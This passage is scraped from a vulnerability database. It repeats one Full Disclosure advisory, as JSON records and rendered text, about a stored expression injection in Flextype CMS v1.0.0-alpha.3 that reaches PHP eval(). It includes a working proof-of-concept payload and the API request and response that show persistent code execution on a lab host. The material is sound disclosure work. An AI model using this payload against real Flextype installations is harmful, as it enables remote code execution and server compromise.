attacker-controlled content.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
analysis
GCVE-1988-2026-0182 (this record)
- possibly related CVE-2026-77939
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored code execution vulnerability\ncaused by the interaction between globally processed entry expressions, the\nmutable registry object exposed to expressions, and the PHP entry directive.\n\nAttacker-controlled entry fields are automatically processed as expressions\nduring entry retrieval. The expression environment exposes the\napplication\u0027s mutable registry() object, allowing an expression to modify\nFlextype runtime configuration.\n\nAn attacker can use a stored expression to enable the PHP entry directive\nand place an @php directive within the same stored field. Subsequent\ndirective processing reaches PHP eval(), resulting in execution of\nattacker-controlled PHP code within the Flextype process.\n\nTesting confirmed execution by returning the server\u0027s PHP version as\nSTORED_RCE_8.1.34. Retrieving the stored entry again caused the payload to\nexecute again, demonstrating persistent server-side code execution.\nImpact\n\n An attacker capable of creating or modifying affected entry fields can\nexecute arbitrary PHP code within the security context of the Flextype\napplication.\n\nThis may allow complete compromise of application confidentiality,\nintegrity, and availability, subject to the operating-system permissions\nassigned to the PHP process.\n\nBecause the malicious directive is stored within entry content, execution\ncan occur again when the affected entry is subsequently processed.\nDetailsMutable Registry Exposed to Expressions\n\nFlextype exposes the application registry to the expression environment:\n\nreturn [\n new ExpressionFunction(\n \u0027registry\u0027,\n static fn () =\u003e \u0027\\Flextype\\registry()\u0027,\n static fn ($arguments) =\u003e registry()\n )\n];\n\nThis returns the mutable application registry rather than a restricted\nread-only representation.\nPHP Directive\n\nThe PHP directive first determines whether PHP processing is enabled:\n\nif (! registry()-\u003eget(\u0027flextype.settings.entries.directives.php.enabled\u0027)) {\n return;\n}\n\nWhen enabled, entry content containing @php reaches eval():\n\nif (strings($field[\u0027value\u0027])-\u003econtains(\u0027@php\u0027)) {\n ob_start();\n\n eval(\n strings($field[\u0027value\u0027])\n -\u003ereplace(\u0027@php\u0027, \u0027\u0027)\n -\u003etrim()\n -\u003etoString()\n );\n\n $field[\u0027value\u0027] = ob_get_clean();\n}\n\nProof of Concept\n\nThe following stored entry value first enables the PHP directive through an\nexpression and then supplies PHP code:\n\n[% registry().set(\u0027flextype.settings.entries.directives.php.enabled\u0027,\ntrue) %] @php echo \u0027STORED_RCE_\u0027 . PHP_VERSION;\n\nIt was submitted through the Entries API:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"stored-rce-proof\",\"data\":{\"title\":\"[%\nregistry().set(\u0027flextype.settings.entries.directives.php.enabled\u0027,\ntrue) %] @php echo \u0027STORED_RCE_\u0027 . PHP_VERSION;\"}}\n\nFlextype returned:\n\nHTTP/1.1 200 OK\nContent-Type: application/json;charset=UTF-8\n\n{\"title\":\"STORED_RCE_8.1.34\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"11eef64f-890a-40ef-8711-b57937677c82\",\"content\":\"\",\"slug\":\"stored-rce-proof\",\"published_at\":1788143638,\"modified_at\":1788143638,\"created_at\":1788143638,\"routable\":true,\"visibility\":\"visible\",\"id\":\"stored-rce-proof\"}\n\nThe value:\n\nSTORED_RCE_8.1.34\n\ndemonstrates execution of the attacker-supplied PHP expression and access\nto the runtime PHP_VERSION constant.\nPersistent Execution\n\nThe stored entry was subsequently retrieved using a normal entry request:\n\nGET /api/v1/entries?token=lab-token\u0026id=stored-rce-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe response again contained:\n\nSTORED_RCE_8.1.34\n\ndemonstrating that execution is associated with stored entry processing\nrather than requiring the complete PHP payload to be supplied during the\ntriggering GET request.\nRoot Cause\n\nThe vulnerability results from the interaction of three unsafe trust\ndecisions:\n\n 1. Attacker-controllable stored entry fields are interpreted as\n executable expressions.\n 2. Expressions have access to the mutable application registry.\n 3. The PHP directive executes processed entry content using eval().\n\nThis permits stored data to modify the security setting intended to disable\nPHP processing before the PHP directive processes the same\nattacker-controlled content.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:58Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/24"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/24"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/24"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Expression Injection Enables PHP Remote Code Execution",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-77939",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0182",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/24",
"automated": true,
"contentSha256": "32da84289c82fed0e4a4fc8f416b4e60c9da0dc8a042407345235b5c96dc4067",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/24",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:54:00Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0182"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:03:58Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0182"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0012
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Expression Injection Enables PHP Remote Code Execution
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a stored code execution vulnerability
caused by the interaction between globally processed entry expressions, the
mutable registry object exposed to expressions, and the PHP entry directive.
Attacker-controlled entry fields are automatically processed as expressions
during entry retrieval. The expression environment exposes the
application's mutable registry() object, allowing an expression to modify
Flextype runtime configuration.
An attacker can use a stored expression to enable the PHP entry directive
and place an @php directive within the same stored field. Subsequent
directive processing reaches PHP eval(), resulting in execution of
attacker-controlled PHP code within the Flextype process.
Testing confirmed execution by returning the server's PHP version as
STORED_RCE_8.1.34. Retrieving the stored entry again caused the payload to
execute again, demonstrating persistent server-side code execution.
Impact
An attacker capable of creating or modifying affected entry fields can
execute arbitrary PHP code within the security context of the Flextype
application.
This may allow complete compromise of application confidentiality,
integrity, and availability, subject to the operating-system permissions
assigned to the PHP process.
Because the malicious directive is stored within entry content, execution
can occur again when the affected entry is subsequently processed.
DetailsMutable Registry Exposed to Expressions
Flextype exposes the application registry to the expression environment:
return [
new ExpressionFunction(
'registry',
static fn () => '\Flextype\registry()',
static fn ($arguments) => registry()
)
];
This returns the mutable application registry rather than a restricted
read-only representation.
PHP Directive
The PHP directive first determines whether PHP processing is enabled:
if (! registry()->get('flextype.settings.entries.directives.php.enabled')) {
return;
}
When enabled, entry content containing @php reaches eval():
if (strings($field['value'])->contains('@php')) {
ob_start();
eval(
strings($field['value'])
->replace('@php', '')
->trim()
->toString()
);
$field['value'] = ob_get_clean();
}
Proof of Concept
The following stored entry value first enables the PHP directive through an
expression and then supplies PHP code:
[% registry().set('flextype.settings.entries.directives.php.enabled',
true) %] @php echo 'STORED_RCE_' . PHP_VERSION;
It was submitted through the Entries API:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"stored-rce-proof","data":{"title":"[%
registry().set('flextype.settings.entries.directives.php.enabled',
true) %] @php echo 'STORED_RCE_' . PHP_VERSION;"}}
Flextype returned:
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
{"title":"STORED_RCE_8.1.34","published_by":"","created_by":"","uuid":"11eef64f-890a-40ef-8711-b57937677c82","content":"","slug":"stored-rce-proof","published_at":1788143638,"modified_at":1788143638,"created_at":1788143638,"routable":true,"visibility":"visible","id":"stored-rce-proof"}
The value:
STORED_RCE_8.1.34
demonstrates execution of the attacker-supplied PHP expression and access
to the runtime PHP_VERSION constant.
Persistent Execution
The stored entry was subsequently retrieved using a normal entry request:
GET /api/v1/entries?token=lab-token&id=stored-rce-proof HTTP/1.1
Host: 127.0.0.1:18086
The response again contained:
STORED_RCE_8.1.34
demonstrating that execution is associated with stored entry processing
rather than requiring the complete PHP payload to be supplied during the
triggering GET request.
Root Cause
The vulnerability results from the interaction of three unsafe trust
decisions:
1. Attacker-controllable stored entry fields are interpreted as
executable expressions.
2. Expressions have access to the mutable application registry.
3. The PHP directive executes processed entry content using eval().
This permits stored data to modify the security setting intended to disable
PHP processing before the PHP directive processes the same
attacker-controlled content.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored code execution vulnerability\ncaused by the interaction between globally processed entry expressions, the\nmutable registry object exposed to expressions, and the PHP entry directive.\n\nAttacker-controlled entry fields are automatically processed as expressions\nduring entry retrieval. The expression environment exposes the\napplication\u0027s mutable registry() object, allowing an expression to modify\nFlextype runtime configuration.\n\nAn attacker can use a stored expression to enable the PHP entry directive\nand place an @php directive within the same stored field. Subsequent\ndirective processing reaches PHP eval(), resulting in execution of\nattacker-controlled PHP code within the Flextype process.\n\nTesting confirmed execution by returning the server\u0027s PHP version as\nSTORED_RCE_8.1.34. Retrieving the stored entry again caused the payload to\nexecute again, demonstrating persistent server-side code execution.\nImpact\n\n An attacker capable of creating or modifying affected entry fields can\nexecute arbitrary PHP code within the security context of the Flextype\napplication.\n\nThis may allow complete compromise of application confidentiality,\nintegrity, and availability, subject to the operating-system permissions\nassigned to the PHP process.\n\nBecause the malicious directive is stored within entry content, execution\ncan occur again when the affected entry is subsequently processed.\nDetailsMutable Registry Exposed to Expressions\n\nFlextype exposes the application registry to the expression environment:\n\nreturn [\n new ExpressionFunction(\n \u0027registry\u0027,\n static fn () =\u003e \u0027\\Flextype\\registry()\u0027,\n static fn ($arguments) =\u003e registry()\n )\n];\n\nThis returns the mutable application registry rather than a restricted\nread-only representation.\nPHP Directive\n\nThe PHP directive first determines whether PHP processing is enabled:\n\nif (! registry()-\u003eget(\u0027flextype.settings.entries.directives.php.enabled\u0027)) {\n return;\n}\n\nWhen enabled, entry content containing @php reaches eval():\n\nif (strings($field[\u0027value\u0027])-\u003econtains(\u0027@php\u0027)) {\n ob_start();\n\n eval(\n strings($field[\u0027value\u0027])\n -\u003ereplace(\u0027@php\u0027, \u0027\u0027)\n -\u003etrim()\n -\u003etoString()\n );\n\n $field[\u0027value\u0027] = ob_get_clean();\n}\n\nProof of Concept\n\nThe following stored entry value first enables the PHP directive through an\nexpression and then supplies PHP code:\n\n[% registry().set(\u0027flextype.settings.entries.directives.php.enabled\u0027,\ntrue) %] @php echo \u0027STORED_RCE_\u0027 . PHP_VERSION;\n\nIt was submitted through the Entries API:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"stored-rce-proof\",\"data\":{\"title\":\"[%\nregistry().set(\u0027flextype.settings.entries.directives.php.enabled\u0027,\ntrue) %] @php echo \u0027STORED_RCE_\u0027 . PHP_VERSION;\"}}\n\nFlextype returned:\n\nHTTP/1.1 200 OK\nContent-Type: application/json;charset=UTF-8\n\n{\"title\":\"STORED_RCE_8.1.34\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"11eef64f-890a-40ef-8711-b57937677c82\",\"content\":\"\",\"slug\":\"stored-rce-proof\",\"published_at\":1788143638,\"modified_at\":1788143638,\"created_at\":1788143638,\"routable\":true,\"visibility\":\"visible\",\"id\":\"stored-rce-proof\"}\n\nThe value:\n\nSTORED_RCE_8.1.34\n\ndemonstrates execution of the attacker-supplied PHP expression and access\nto the runtime PHP_VERSION constant.\nPersistent Execution\n\nThe stored entry was subsequently retrieved using a normal entry request:\n\nGET /api/v1/entries?token=lab-token\u0026id=stored-rce-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe response again contained:\n\nSTORED_RCE_8.1.34\n\ndemonstrating that execution is associated with stored entry processing\nrather than requiring the complete PHP payload to be supplied during the\ntriggering GET request.\nRoot Cause\n\nThe vulnerability results from the interaction of three unsafe trust\ndecisions:\n\n 1. Attacker-controllable stored entry fields are interpreted as\n executable expressions.\n 2. Expressions have access to the mutable application registry.\n 3. The PHP directive executes processed entry content using eval().\n\nThis permits stored data to modify the security setting intended to disable\nPHP processing before the PHP directive processes the same\nattacker-controlled content.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:58Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/24"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/24"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/24"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Expression Injection Enables PHP Remote Code Execution",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0012",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/24",
"automated": true,
"contentSha256": "32da84289c82fed0e4a4fc8f416b4e60c9da0dc8a042407345235b5c96dc4067",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/24",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:54:00Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:03:58Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0012"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
displaying 231 - 240 publications in total 387